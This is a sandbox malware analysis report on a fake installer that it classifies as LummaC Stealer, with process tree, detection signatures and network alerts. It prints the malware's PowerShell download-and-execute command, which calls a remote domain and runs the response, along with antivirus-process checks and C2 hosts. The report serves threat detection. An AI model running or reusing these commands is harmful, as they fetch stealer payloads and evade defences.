Edit tour

Windows Analysis Report
installer_1.05_36.7.exe

Overview

General Information

Sample name:	installer_1.05_36.7.exe
Analysis ID:	1584541
MD5:	5cca6a6746a3f3efc901b3eaa503f2e6
SHA1:	413e1738bad7dfb582bf325e99b77de497134d78
SHA256:	02a0853cbed6c7c556e4f9a62195568f2594cc3a5ef365214bc9289632b1cd51
Tags:	AutoITexeLummaStealeruser-aachum
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Drops PE files with a suspicious file extension

Found direct / indirect Syscall (likely to bypass EDR)

Loading BitLocker PowerShell Module

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample or dropped binary is a compiled AutoHotkey binary

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

installer_1.05_36.7.exe (PID: 6784 cmdline: "C:\Users\user\Desktop\installer_1.05_36.7.exe" MD5: 5CCA6A6746A3F3EFC901B3EAA503F2E6)

cmd.exe (PID: 6972 cmdline: "C:\Windows\System32\cmd.exe" /c move Undertaken Undertaken.cmd & Undertaken.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7120 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7152 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 5752 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 2108 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 1908 cmdline: cmd /c md 739749 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 2816 cmdline: extrac32 /Y /E Buys MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 3848 cmdline: findstr /V "encourage" Legend MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 6096 cmdline: cmd /c copy /b 739749\Peas.com + Principles + Delight + Leader + Shareholders + Scientific + Optimal + Accessing + Examine + Appearance + Specialist 739749\Peas.com MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 340 cmdline: cmd /c copy /b ..\Nt + ..\Sydney + ..\Nominations + ..\Colour + ..\Friend + ..\Compatible + ..\South + ..\Advice x MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Peas.com (PID: 3368 cmdline: Peas.com x MD5: 62D09F076E6E0240548C2F837536A46A)

powershell.exe (PID: 7136 cmdline: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1 MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe (PID: 4364 cmdline: "C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe" MD5: 51F99EDDD33CC04FB0F55F873B76D907)

P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp (PID: 2308 cmdline: "C:\Users\user\AppData\Local\Temp\is-CKRPH.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp" /SL5="$60416,7785838,845824,C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe" MD5: F809F51E678B7F2E388F8C969EF902C8)

P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe (PID: 2720 cmdline: "C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe" /VERYSILENT MD5: 51F99EDDD33CC04FB0F55F873B76D907)

P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp (PID: 3584 cmdline: "C:\Users\user\AppData\Local\Temp\is-0N830.tmp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.tmp" /SL5="$70416,7785838,845824,C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe" /VERYSILENT MD5: F809F51E678B7F2E388F8C969EF902C8)

timeout.exe (PID: 5800 cmdline: "timeout" 9 MD5: 100065E21CFBBDE57CBA2838921F84D6)

conhost.exe (PID: 6096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5448 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH | find /I "wrsa.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 984 cmdline: tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 1144 cmdline: find /I "wrsa.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 3796 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH | find /I "opssvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 3384 cmdline: tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 7056 cmdline: find /I "opssvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 2812 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH | find /I "avastui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 3896 cmdline: tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 3520 cmdline: find /I "avastui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 3368 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH | find /I "avgui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 4364 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH | find /I "nswscsvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 5348 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH | find /I "sophoshealth.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 2252 cmdline: tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 1868 cmdline: find /I "sophoshealth.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

BrightLib.exe (PID: 3672 cmdline: "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe" MD5: 6A8860A8150021B2D5B9BB707DE4FA37)

conhost.exe (PID: 5664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 368 cmdline: tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 1168 cmdline: find /I "nswscsvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

conhost.exe (PID: 2004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5848 cmdline: tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 2084 cmdline: find /I "avgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

choice.exe (PID: 1148 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1 , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1 , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Peas.com x, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com, ParentProcessId: 3368, ParentProcessName: Peas.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1 , ProcessId: 7136, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1 , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1 , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Peas.com x, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com, ParentProcessId: 3368, ParentProcessName: Peas.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1 , ProcessId: 7136, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1 , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1 , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Peas.com x, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com, ParentProcessId: 3368, ParentProcessName: Peas.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1 , ProcessId: 7136, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1 , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1 , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Peas.com x, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com, ParentProcessId: 3368, ParentProcessName: Peas.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1 , ProcessId: 7136, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1 , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1 , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Peas.com x, ParentImage: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\739749\Peas.com, ParentProcessId: 3368, ParentProcessName: Peas.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; 1 , ProcessId: 7136, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Undertaken Undertaken.cmd & Undertaken.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6972, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 2108, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T19:50:15.504010+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	188.114.97.3	443	TCP
2025-01-05T19:50:16.467762+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	188.114.97.3	443	TCP
2025-01-05T19:50:17.553952+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	188.114.97.3	443	TCP
2025-01-05T19:50:18.779937+0100	2028371	3	Unknown Traffic	192.168.2.4	49740	188.114.97.3	443	TCP
2025-01-05T19:50:20.177924+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	188.114.97.3	443	TCP
2025-01-05T19:50:21.467805+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	188.114.97.3	443	TCP
2025-01-05T19:50:22.746589+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	188.114.97.3	443	TCP
2025-01-05T19:50:23.763980+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	188.114.97.3	443	TCP
2025-01-05T19:50:25.283541+0100	2028371	3	Unknown Traffic	192.168.2.4	49745	185.161.251.21	443	TCP
2025-01-05T19:50:26.060636+0100	2028371	3	Unknown Traffic	192.168.2.4	49746	172.67.208.58	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T19:50:15.982186+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49736	188.114.97.3	443	TCP
2025-01-05T19:50:16.909754+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49738	188.114.97.3	443	TCP
2025-01-05T19:50:24.514683+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49744	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T19:50:15.982186+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49736	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T19:50:16.909754+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49738	188.114.97.3	443	TCP

ET MALWARE Possible Windows executable sent when remote host claims to send a Text File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T19:50:26.438702+0100	2008438	1	A Network Trojan was detected	172.67.208.58	443	192.168.2.4	49746	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-05T19:50:22.250923+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49742	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://grubbytellek.click/api

Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\P8SUOBYYY1MN4AL5G15H1L5ZPPPN.exe

ReversingLabs: Detection: 78%

Multi AV Scanner detection for submitted file

Source: installer_1.05_36.7.exe

ReversingLabs: Detection: 23%

Source: installer_1.05_36.7.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.208.58:443 -> 192.168.2.4:49746 version: TLS 1.2

Source: installer_1.05_36.7.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: wntdll.pdbUGP source: BrightLib.exe, 00000031.00000002.2494256387.0000000038740000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000031.00000002.2472421474.00000000037A4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: BrightLib.exe, 00000031.00000002.2494256387.0000000038740000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000031.00000002.2472421474.00000000037A4000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\installer_1.05_36.7.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49738 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49738 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49742 -> 188.114.97.3:443
